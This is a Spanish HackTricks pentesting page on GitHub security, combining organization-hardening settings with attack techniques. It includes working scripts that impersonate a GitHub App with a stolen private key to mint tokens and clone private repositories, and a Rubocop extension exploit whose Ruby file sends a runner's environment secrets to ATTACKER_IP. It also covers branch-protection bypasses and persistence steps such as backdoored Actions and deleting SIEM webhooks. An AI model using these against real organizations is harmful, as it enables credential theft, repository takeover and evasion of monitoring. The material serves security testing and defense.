Seguridad de Github

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Qué es Github

(Desde aquí) A un alto nivel, GitHub es un sitio web y un servicio basado en la nube que ayuda a los desarrolladores a almacenar y gestionar su código, así como a rastrear y controlar los cambios en su código.

Información Básica

Basic Github Information

Reconocimiento Externo

Los repositorios de Github pueden configurarse como públicos, privados e internos.

  • Privado significa que solo las personas de la organización podrán acceder a ellos.
  • Interno significa que solo las personas de la empresa (una empresa puede tener varias organizaciones) podrán acceder a él.
  • Público significa que todo internet podrá acceder a él.

En caso de que conozcas al usuario, repositorio u organización que deseas atacar, puedes usar github dorks para encontrar información sensible o buscar filtraciones de información sensible en cada repositorio.

Github Dorks

Github permite buscar algo especificando como alcance un usuario, un repositorio o una organización. Por lo tanto, con una lista de cadenas que van a aparecer cerca de información sensible, puedes fácilmente buscar información sensible potencial en tu objetivo.

Herramientas (cada herramienta contiene su lista de dorks):

Filtraciones de Github

Por favor, ten en cuenta que los github dorks también están destinados a buscar filtraciones utilizando las opciones de búsqueda de github. Esta sección está dedicada a aquellas herramientas que descargarán cada repositorio y buscarán información sensible en ellos (incluso revisando cierta profundidad de commits).

Herramientas (cada herramienta contiene su lista de regexes):

Consulta esta página: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html

Warning

Cuando busques filtraciones en un repositorio y ejecutes algo como git log -p, no olvides que puede haber otras ramas con otros commits que contengan secretos.

Forks Externos

Es posible comprometer repositorios abusando de solicitudes de extracción. Para saber si un repositorio es vulnerable, principalmente necesitas leer las configuraciones yaml de Github Actions. Más información sobre esto a continuación.

Filtraciones de Github en forks eliminados/internos

Incluso si están eliminados o internos, puede ser posible obtener datos sensibles de forks de repositorios de github. Consulta aquí:

Accessible Deleted Data in Github

Fortalecimiento de la Organización

Privilegios de Miembros

Hay algunos privilegios predeterminados que se pueden asignar a los miembros de la organización. Estos se pueden controlar desde la página https://github.com/organizations/<org_name>/settings/member_privileges o desde la API de Organizaciones.

  • Permisos base: Los miembros tendrán el permiso Ninguno/Leer/escribir/Administrar sobre los repositorios de la organización. Se recomienda Ninguno o Leer.
  • Forking de repositorios: Si no es necesario, es mejor no permitir que los miembros hagan forks de los repositorios de la organización.
  • Creación de páginas: Si no es necesario, es mejor no permitir que los miembros publiquen páginas desde los repositorios de la organización. Si es necesario, puedes permitir crear páginas públicas o privadas.
  • Solicitudes de acceso a integraciones: Con esto habilitado, los colaboradores externos podrán solicitar acceso para aplicaciones de GitHub o OAuth para acceder a esta organización y sus recursos. Generalmente es necesario, pero si no, es mejor deshabilitarlo.
  • No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces
  • Cambio de visibilidad del repositorio: Si está habilitado, los miembros con permisos de administrador para el repositorio podrán cambiar su visibilidad. Si está deshabilitado, solo los propietarios de la organización pueden cambiar las visibilidades de los repositorios. Si no quieres que las personas hagan cosas públicas, asegúrate de que esto esté deshabilitado.
  • No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces
  • Eliminación y transferencia de repositorios: Si está habilitado, los miembros con permisos de administrador para el repositorio podrán eliminar o transferir repositorios públicos y privados.
  • No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces
  • Permitir a los miembros crear equipos: Si está habilitado, cualquier miembro de la organización podrá crear nuevos equipos. Si está deshabilitado, solo los propietarios de la organización pueden crear nuevos equipos. Es mejor tener esto deshabilitado.
  • No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces
  • Se pueden configurar más cosas en esta página, pero las anteriores son las más relacionadas con la seguridad.

Configuración de Acciones

Se pueden configurar varias configuraciones relacionadas con la seguridad para acciones desde la página https://github.com/organizations/<org_name>/settings/actions.

Note

Ten en cuenta que todas estas configuraciones también se pueden establecer en cada repositorio de forma independiente.

  • Políticas de acciones de Github: Te permite indicar qué repositorios pueden ejecutar flujos de trabajo y qué flujos de trabajo deben ser permitidos. Se recomienda especificar qué repositorios deben ser permitidos y no permitir que todas las acciones se ejecuten.
  • API-1, API-2
  • Flujos de trabajo de solicitudes de extracción de forks de colaboradores externos: Se recomienda requerir aprobación para todos los colaboradores externos.
  • No pude encontrar una API con esta información, comparte si lo haces
  • Ejecutar flujos de trabajo desde solicitudes de extracción de forks: Es muy desaconsejado ejecutar flujos de trabajo desde solicitudes de extracción ya que los mantenedores del fork de origen tendrán la capacidad de usar tokens con permisos de lectura en el repositorio fuente.
  • No pude encontrar una API con esta información, comparte si lo haces
  • Permisos de flujo de trabajo: Se recomienda dar solo permisos de lectura del repositorio. Se desaconseja dar permisos de escritura y crear/aprobar solicitudes de extracción para evitar el abuso del GITHUB_TOKEN dado a los flujos de trabajo en ejecución.
  • API

Integraciones

Házmelo saber si conoces el endpoint de la API para acceder a esta información!

  • Política de acceso a aplicaciones de terceros: Se recomienda restringir el acceso a cada aplicación y permitir solo las necesarias (después de revisarlas).
  • Aplicaciones de GitHub instaladas: Se recomienda permitir solo las necesarias (después de revisarlas).

Reconocimiento y Ataques abusando de credenciales

Para este escenario vamos a suponer que has obtenido algún acceso a una cuenta de github.

Con Credenciales de Usuario

Si de alguna manera ya tienes credenciales para un usuario dentro de una organización, puedes simplemente iniciar sesión y verificar qué roles de empresa y organización tienes, si eres un miembro normal, verifica qué permisos tienen los miembros normales, en qué grupos estás, qué permisos tienes sobre qué repositorios y cómo están protegidos los repositorios.

Ten en cuenta que se puede usar 2FA, por lo que solo podrás acceder a esta información si también puedes pasar esa verificación.

Note

Ten en cuenta que si logras robar la cookie user_session (actualmente configurada con SameSite: Lax) puedes suplantar completamente al usuario sin necesidad de credenciales o 2FA.

Consulta la sección a continuación sobre bypasses de protección de ramas en caso de que sea útil.

Con Clave SSH de Usuario

Github permite a los usuarios establecer claves SSH que se utilizarán como método de autenticación para desplegar código en su nombre (no se aplica 2FA).

Con esta clave puedes realizar cambios en repositorios donde el usuario tiene algunos privilegios, sin embargo, no puedes usarla para acceder a la API de github para enumerar el entorno. Sin embargo, puedes enumerar configuraciones locales para obtener información sobre los repositorios y el usuario al que tienes acceso:

# Go to the the repository folder
# Get repo config and current user name and email
git config --list

Si el usuario ha configurado su nombre de usuario como su nombre de usuario de github, puedes acceder a las claves públicas que ha establecido en su cuenta en https://github.com/<github_username>.keys, podrías verificar esto para confirmar que la clave privada que encontraste puede ser utilizada.

Las claves SSH también se pueden establecer en los repositorios como claves de despliegue. Cualquiera con acceso a esta clave podrá lanzar proyectos desde un repositorio. Normalmente, en un servidor con diferentes claves de despliegue, el archivo local ~/.ssh/config te dará información sobre a qué clave está relacionada.

Claves GPG

Como se explicó aquí, a veces es necesario firmar los commits o podrías ser descubierto.

Verifica localmente si el usuario actual tiene alguna clave con:

gpg --list-secret-keys --keyid-format=long

Con Token de Usuario

Para una introducción sobre Tokens de Usuario consulta la información básica.

Un token de usuario puede ser utilizado en lugar de una contraseña para Git sobre HTTPS, o puede ser utilizado para autenticarse en la API a través de la Autenticación Básica. Dependiendo de los privilegios asociados, podrías realizar diferentes acciones.

Un token de usuario se ve así: ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123

Con Aplicación Oauth

Para una introducción sobre Aplicaciones Oauth de Github consulta la información básica.

Un atacante podría crear una Aplicación Oauth maliciosa para acceder a datos/acciones privilegiadas de los usuarios que las aceptan, probablemente como parte de una campaña de phishing.

Estos son los alcances que una aplicación Oauth puede solicitar. Siempre se debe verificar los alcances solicitados antes de aceptarlos.

Además, como se explica en la información básica, las organizaciones pueden otorgar/denegar acceso a aplicaciones de terceros a información/repos/acciones relacionadas con la organización.

Con Aplicación de Github

Para una introducción sobre Aplicaciones de Github consulta la información básica.

Un atacante podría crear una Aplicación de Github maliciosa para acceder a datos/acciones privilegiadas de los usuarios que las aceptan, probablemente como parte de una campaña de phishing.

Además, como se explica en la información básica, las organizaciones pueden otorgar/denegar acceso a aplicaciones de terceros a información/repos/acciones relacionadas con la organización.

Suplantar una Aplicación de GitHub con su clave privada (JWT → tokens de acceso de instalación)

Si obtienes la clave privada (PEM) de una Aplicación de GitHub, puedes suplantar completamente la aplicación en todas sus instalaciones:

  • Generar un JWT de corta duración firmado con la clave privada
  • Llamar a la API REST de la Aplicación de GitHub para enumerar instalaciones
  • Crear tokens de acceso por instalación y usarlos para listar/clonar/empujar a repositorios otorgados a esa instalación

Requisitos:

  • Clave privada de la Aplicación de GitHub (PEM)
  • ID de la Aplicación de GitHub (numérico). GitHub requiere que iss sea el ID de la Aplicación

Crear JWT (RS256):

#!/usr/bin/env python3
import time, jwt

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)

def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60,  # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")

Lista de instalaciones para la aplicación autenticada:

JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)

curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations

Crea un token de acceso de instalación (válido ≤ 10 minutos):

INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens

Utiliza el token para acceder al código. Puedes clonar o enviar usando la forma de URL x‑access‑token:

TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository

Prueba de concepto programática para dirigirse a una organización específica y listar repositorios privados (PyGithub + PyJWT):

#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)
ORG    = "someorg"

def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")

auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")

jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]

print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)

Notas:

  • Los tokens de instalación heredan exactamente los permisos a nivel de repositorio de la aplicación (por ejemplo, contents: write, pull_requests: write)
  • Los tokens expiran en ≤10 minutos, pero se pueden generar nuevos tokens indefinidamente siempre que se conserve la clave privada
  • También puedes enumerar instalaciones a través de la API REST (GET /app/installations) usando el JWT

Compromiso y abuso de Github Action

Hay varias técnicas para comprometer y abusar de una Github Action, consúltalas aquí:

Abusing Github Actions

Abusando de aplicaciones de GitHub de terceros que ejecutan herramientas externas (RCE de la extensión Rubocop)

Algunas aplicaciones de GitHub y servicios de revisión de PR ejecutan linters/SAST externos contra solicitudes de extracción utilizando archivos de configuración controlados por el repositorio. Si una herramienta compatible permite la carga dinámica de código, un PR puede lograr RCE en el runner del servicio.

Ejemplo: Rubocop admite la carga de extensiones desde su configuración YAML. Si el servicio pasa un .rubocop.yml proporcionado por el repositorio, puedes ejecutar Ruby arbitrario requiriendo un archivo local.

  • Las condiciones de activación suelen incluir:
  • La herramienta está habilitada en el servicio
  • El PR contiene archivos que la herramienta reconoce (para Rubocop: .rb)
  • El repositorio contiene el archivo de configuración de la herramienta (Rubocop busca .rubocop.yml en cualquier lugar)

Archivos de explotación en el PR:

.rubocop.yml

require:
- ./ext.rb

ext.rb (exfiltrar variables de entorno del runner):

require 'net/http'
require 'uri'
require 'json'

env_vars  = ENV.to_h
json_data = env_vars.to_json
url       = URI.parse('http://ATTACKER_IP/')

begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end

También incluye un archivo Ruby ficticio lo suficientemente grande (por ejemplo, main.rb) para que el linter se ejecute realmente.

Impacto observado en el mundo real:

  • Ejecución completa de código en el runner de producción que ejecutó el linter
  • Exfiltración de variables de entorno sensibles, incluyendo la clave privada de la aplicación de GitHub utilizada por el servicio, claves API, credenciales de base de datos, etc.
  • Con una clave privada de la aplicación de GitHub filtrada, puedes generar tokens de instalación y obtener acceso de lectura/escritura a todos los repositorios otorgados a esa aplicación (ver la sección anterior sobre la suplantación de la aplicación de GitHub)

Directrices de endurecimiento para servicios que ejecutan herramientas externas:

  • Trata las configuraciones de herramientas proporcionadas por el repositorio como código no confiable
  • Ejecuta herramientas en sandboxes aislados estrictamente sin variables de entorno sensibles montadas
  • Aplica credenciales de menor privilegio y aislamiento del sistema de archivos, y restringe/niega el egreso de red saliente para herramientas que no requieren acceso a internet

Bypass de Protección de Ramas

  • Requerir un número de aprobaciones: Si has comprometido varias cuentas, podrías simplemente aceptar tus PR desde otras cuentas. Si solo tienes la cuenta desde donde creaste el PR, no puedes aceptar tu propio PR. Sin embargo, si tienes acceso a un entorno de Github Action dentro del repositorio, usando el GITHUB_TOKEN podrías aprobar tu PR y obtener 1 aprobación de esta manera.
  • Nota para esto y para la restricción de Propietarios de Código que generalmente un usuario no podrá aprobar sus propios PR, pero si puedes, puedes abusar de ello para aceptar tus PR.
  • Desestimar aprobaciones cuando se envían nuevos commits: Si esto no está configurado, puedes enviar código legítimo, esperar a que alguien lo apruebe, y luego poner código malicioso y fusionarlo en la rama protegida.
  • Requerir revisiones de Propietarios de Código: Si esto está activado y eres un Propietario de Código, podrías hacer que una Github Action cree tu PR y luego lo apruebes tú mismo.
  • Cuando un archivo CODEOWNER está mal configurado, GitHub no se queja pero no lo utiliza. Por lo tanto, si está mal configurado, la protección de Propietarios de Código no se aplica.
  • Permitir que actores especificados eludan los requisitos de solicitud de extracción: Si eres uno de estos actores, puedes eludir las protecciones de solicitud de extracción.
  • Incluir administradores: Si esto no está configurado y eres administrador del repositorio, puedes eludir estas protecciones de rama.
  • Secuestro de PR: Podrías ser capaz de modificar el PR de otra persona añadiendo código malicioso, aprobando el PR resultante tú mismo y fusionando todo.
  • Eliminar Protecciones de Ramas: Si eres un administrador del repositorio, puedes desactivar las protecciones, fusionar tu PR y volver a establecer las protecciones.
  • Eludir protecciones de push: Si un repositorio solo permite ciertos usuarios enviar push (fusionar código) en ramas (la protección de rama podría estar protegiendo todas las ramas especificando el comodín *).
  • Si tienes acceso de escritura sobre el repositorio pero no se te permite enviar código debido a la protección de rama, aún puedes crear una nueva rama y dentro de ella crear una acción de GitHub que se active cuando se envíe código. Como la protección de rama no protegerá la rama hasta que se cree, este primer envío de código a la rama ejecutará la acción de GitHub.

Eludir las Protecciones de Entornos

Para una introducción sobre Github Environment consulta la información básica.

En caso de que un entorno pueda ser accedido desde todas las ramas, no está protegido y puedes acceder fácilmente a los secretos dentro del entorno. Ten en cuenta que podrías encontrar repos donde todas las ramas están protegidas (especificando sus nombres o usando *), en ese escenario, encuentra una rama donde puedas enviar código y puedes exfiltrar los secretos creando una nueva acción de GitHub (o modificando una).

Ten en cuenta que podrías encontrar el caso extremo donde todas las ramas están protegidas (a través del comodín *) se especifica quién puede enviar código a las ramas (puedes especificar eso en la protección de rama) y tu usuario no está permitido. Aún puedes ejecutar una acción de GitHub personalizada porque puedes crear una rama y usar el disparador de push sobre sí misma. La protección de rama permite el push a una nueva rama, por lo que la acción de GitHub se activará.

push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch

Tenga en cuenta que después de la creación de la rama, la protección de la rama se aplicará a la nueva rama y no podrá modificarla, pero para ese momento ya habrá extraído los secretos.

Persistencia

  • Generar token de usuario
  • Robar tokens de github de secretos
  • Eliminación de resultados y ramas de flujo de trabajo
  • Dar más permisos a toda la organización
  • Crear webhooks para exfiltrar información
  • Invitar a colaboradores externos
  • Eliminar webhooks utilizados por el SIEM
  • Crear/modificar Github Action con una puerta trasera
  • Encontrar Github Action vulnerable a inyección de comandos a través de la modificación del valor de secreto

Commits de impostor - Puerta trasera a través de commits de repositorio

En Github es posible crear un PR a un repositorio desde un fork. Incluso si el PR no es aceptado, se va a crear un id de commit dentro del repositorio original para la versión fork del código. Por lo tanto, un atacante podría fijar el uso de un commit específico de un repositorio aparentemente legítimo que no fue creado por el propietario del repositorio.

Como este:

name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'

Para más información, consulta https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks